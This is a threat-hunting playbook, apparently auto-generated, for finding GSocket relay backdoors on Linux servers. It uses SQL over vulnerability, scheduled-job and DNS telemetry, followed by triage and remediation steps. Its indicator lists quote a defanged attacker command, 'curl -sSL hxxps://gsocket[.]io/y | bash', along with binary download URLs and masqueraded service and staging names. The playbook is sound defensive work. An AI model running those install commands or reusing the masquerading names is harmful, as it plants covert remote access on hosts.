--- analysis: A simple detection rule for GSocket domains would be noisy in environments where it is used for legitimate admin tasks. This hunt correlates the kernel vulnerability state with rare, non-standard persistence and outbound relay activity to identify malicious weaponization. blind_spots: - id: limited-linux-visibility question: Are kernel-thread masquerading events visible beyond the process command line? requires: hb_linux_audit or hb_syslog risk: Sophisticated GSocket variants that use prctl or other syscalls to rename threads may not be fully captured by process-only telemetry. stage: masqueraded-persistence - id: encrypted-c2-blindness question: Can the content of the GSocket relay traffic be inspected? requires: Egress proxy TLS inspection risk: GSocket is end-to-end encrypted; without visibility into the traffic content, we rely entirely on process context and domain reputation. stage: encrypted-relay-c2 coverage: - stage: privilege-escalation-exploit status: covered steps: - scoping-vulnerable-linux - stage: masqueraded-persistence status: covered steps: - rare-persistence-job - stage: encrypted-relay-c2 status: covered steps: - relay-dns-lookup - reason: 'Belongs to another part of the ''The global socket: how threat actors are weaponizing GSocket for stealthy C2'' series.' stage: initial-web-exploitation status: out_of_scope - reason: 'Belongs to another part of the ''The global socket: how threat actors are weaponizing GSocket for stealthy C2'' series.' stage: deployment-downloader status: out_of_scope - reason: 'Belongs to another part of the ''The global socket: how threat actors are weaponizing GSocket for stealthy C2'' series.' stage: concealed-staging status: out_of_scope guardrails: claims: no_unsupported evidence: citation_required missing_data: not_benign telemetry: untrusted hunt: applicability: campaign-specific handoff: promote-to-detection justification: GSocket creates a persistent backdoor that survives application patching. This hunt ensures that once a web vulnerability is remediated, the hidden relays used to maintain access are also identified and removed, protecting the host from long-term control. methodology: model-assisted trigger: intel-report hypothesis: An intruder has maintained persistent access to a Linux server by deploying a GSocket relay after exploiting a kernel vulnerability, masquerading the relay as a system service while communicating outbound to a shared public network. labels: - hunt - attack.t1036 - attack.t1053.003 - attack.t1543.002 - attack.t1068 - attack.t1071 - attack.t1090.002 - command and control - defense evasion - execution - initial access - persistence - privilege escalation name: Persistent GSocket Encrypted Relay Activity parameters: c2_domains: default: - gsocket.io - cdn.gsocket.io - gsgg.b-cdn.net description: Known GSocket relay and distribution domains named in research. from: kind: article observed: '2026-11-11' ref: msrc-blog type: list[domain] gs_service_names: default: - systemd-remount-d - defunct.service - multi-user.target.wants description: Service and job names associated with GSocket persistence. from: kind: article observed: '2026-11-11' ref: msrc-blog type: list[string] lookback_days: default: '14' description: Days of history to examine for persistence and network activity. from: kind: manual observed: '2026-11-11' ref: standard-retention type: number scope_hosts: default: [] description: Specific hostnames to focus on; leave empty to scan the entire Linux estate. from: kind: manual observed: '2026-11-11' ref: analyst-scoping type: list[host] provenance: authors: - name: Huntbase hunt generation org: huntbase.io generated: by: huntbase-hunt-generation from: https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/ gates: - dry-run - lint model: hb_google/gemini-3-flash-preview rationale: Focus on Linux servers running PHP or cPanel environments, as research indicates these are the most common targets. Use the vulnerable host list as a primary anchor, but do not exclude hosts with DNS activity if they are not yet scanned for vulnerabilities. references: - name: "MSRC \u2014 The global socket: how threat actors are weaponizing GSocket\ \ for stealthy C2" url: https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/ related: - hunt: web-shell-aftermath-cleanup reason: This hunt follows the remediation of web shells to ensure no persistent relays remain on the host. relation: follows - hunt: linux-web-server-gsocket-staging relation: follows scenario: stages: - name: Web Application Compromise observables: - PHP web applications - cPanel hosting - Apache web server context - Remote code execution slug: initial-web-exploitation tactic: initial-access techniques: - T1190 - name: Scripted Tool Retrieval observables: - curl -sSL hxxps://gsocket[.]io/y | bash - hxxps://gsocket[.]io/install.sh - hxxps://gsgg[.]b-cdn[.]net/bin/gs-netcat_mini-linux-x86_64 - hxxps://cdn[.]gsocket[.]io/bin/gs-netcat_mini-linux-aarch64 slug: deployment-downloader tactic: execution techniques: - T1105 - T1059.004 - name: Hidden Payload Staging observables: - /dev/shm/.gs-0/ - /tmp/.gsn_ora - /tmp/systemd-remount-d - Memory-backed directories slug: concealed-staging tactic: defense-evasion techniques: - T1564.001 - T1070.004 - name: Kernel Exploitation observables: - CVE-2026-43284 - Dirty Frag vulnerability slug: privilege-escalation-exploit tactic: privilege-escalation techniques: - T1068 - name: Systemd and Cron Persistence observables: - systemd-remount-d - /usr/bin/systemd-remount-d - cron jobs - systemd units - kernel-thread-like names slug: masqueraded-persistence tactic: persistence techniques: - T1036 - T1053.003 - T1543.002 - name: Relay Network C2 observables: - gsocket.io - cdn.gsocket.io - gsgg.b-cdn.net - Outbound encrypted relay traffic - GS_TG_TOKEN - Telegram notification delivery slug: encrypted-relay-c2 tactic: command-and-control techniques: - T1071 - T1090.002 summary: Threat actors are weaponizing GSocket, a legitimate encrypted relay tool, to maintain persistent outbound-only C2 on compromised Linux servers. By tunneling traffic through the public Global Socket Relay Network, attackers evade inbound firewall restrictions and bypass traditional IP-based blocking even after the initial web application vulnerability is patched. series: index: 2 slug: the-global-socket-how-threat-actors-are-weaponizing-gsocket-for-stealthy-c2 title: 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' total: 2 severity: high targets: analyst: name: Tier-2 analyst role: analyst endpoint: category: endpoint name: Endpoint telemetry (hb_ surfaces) telemetry: - endpoint hunter: agent: true name: Hunt agent tlp: clear type: investigation --- # Persistent GSocket Encrypted Relay Activity This hunt identifies Linux hosts weaponized with GSocket (Global Socket) for long-term command and control. Threat actors use the Dirty Frag kernel vulnerability (CVE-2026-43284) to elevate privileges before installing GSocket relays that masquerade as legitimate system services like systemd-remount. Because GSocket connects outbound to a shared public relay network, traditional inbound firewall rules and fixed C2 domain blocking are ineffective. This hunt correlates vulnerability status with rare persistence mechanisms and outbound relay traffic patterns to identify active intrusions that persist even after the initial entry point is patched. ## scoping-vulnerable-linux Identify Linux hosts reporting the Dirty Frag vulnerability (CVE-2026-43284), which was observed as a primary privilege escalation vector for GSocket deployment. ```sqlite target=endpoint role=scoping ~~~yaml expected: A list of unique device identifiers currently reporting the kernel vulnerability. Silence suggests no unpatched hosts or no vulnerability scanning coverage. reads: - device_uid - resource_uid - status - cvss_score silence: not_evidence_of_absence source: hb_vulnerability_finding verified: dry-run verified_at: '2026-11-12' ~~~ SELECT device_uid, resource_uid, status, cvss_score FROM hb_vulnerability_finding WHERE cve_uid = 'CVE-2026-43284' AND status != 'suppressed' ``` ## parallel-evidence-collection parallel: - → rare-persistence-job - → relay-dns-lookup join: → gsocket-triage ## rare-persistence-job Find rare cron or systemd jobs referencing GSocket file names, masqueraded service names, or staging paths like /dev/shm. ```sqlite target=endpoint role=detection-candidate params=(gs_service_names=gs_service_names, scope_hosts=scope_hosts, lookback_days=lookback_days) ~~~yaml baseline: compare: first_seen window: '{{lookback_days}}d' expected: Rare jobs on a few hosts that use masqueraded names or stage binaries in temporary memory-backed directories. Silence means no known names were found in job definitions. prevalence: by: device_hostname key: - job_cmd_line - job_name rare_below: 3 reads: - device_hostname - job_name - job_cmd_line - time silence: evidence_of_absence source: hb_scheduled_job verified: dry-run verified_at: '2026-11-12' ~~~ SELECT LOWER(job_cmd_line) AS cmd, job_name, device_hostname, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_scheduled_job WHERE (instr(',' || '{{gs_service_names}}' || ',', ',' || LOWER(job_name) || ',') > 0 OR job_cmd_line LIKE '%/dev/shm/%' OR job_cmd_line LIKE '%gs-netcat%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY LOWER(job_cmd_line), job_name, device_hostname HAVING hosts <= 3 ORDER BY hosts ASC ``` ## relay-dns-lookup Identify hosts resolving GSocket domains, which indicates the client binary is attempting to connect to the shared relay network. ```sqlite target=endpoint role=enrichment params=(c2_domains=c2_domains, scope_hosts=scope_hosts, lookback_days=lookback_days) ~~~yaml expected: Outbound DNS requests to the relay infrastructure. Silence proves no resolution attempts to these specific domains occurred in the window. reads: - device_hostname - query_hostname - process_name - time silence: evidence_of_absence source: hb_dns_activity verified: dry-run verified_at: '2026-11-12' ~~~ SELECT device_hostname, query_hostname, process_name, COUNT(*) AS lookups, MIN(time) AS first_seen FROM hb_dns_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0) AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, query_hostname, process_name ORDER BY lookups DESC ``` ## gsocket-triage ```agent target=hunter cite: required context: - scoping-vulnerable-linux - rare-persistence-job - relay-dns-lookup max_iterations: 4 objective: Determine if any host vulnerable to Dirty Frag shows rare persistence mechanisms in cron/systemd or outbound DNS lookups to GSocket domains. success_criteria: A per-host verdict citing rows from all three context steps where applicable. tools: - endpoint ``` ## route-on-verdict if~: "the gsocket-triage verdict is malicious for at least one host" (confidence: high, judge=hunter) then: → isolate-and-remediate indeterminate: → manual-forensic-review unavailable: → manual-forensic-review (blind_spot: limited-linux-visibility) else: → manual-forensic-review ## isolate-and-remediate ```action target=endpoint ~~~yaml approval: required ~~~ Isolate the endpoint via the EDR agent. Terminate every process associated with the identified job command lines. Remove identified cron jobs, systemd units, and files in /dev/shm or /tmp as cited by the agent. Revoke sessions for the web service account. ``` → manual-forensic-review ## manual-forensic-review ```manual target=analyst Review the agent's findings and the results of the remediation action. Check for other common persistence points like shell profiles (.bashrc) or kernel-thread masqueraded processes. Schedule a kernel update to patch CVE-2026-43284. ``` → hunt-closeout ## hunt-closeout ```manual target=analyst Record all identified indicators of compromise. Update the enterprise blocklist for GSocket relay domains and provide a summary of the masquerading names used in the intrusion to the detection team. ``` → end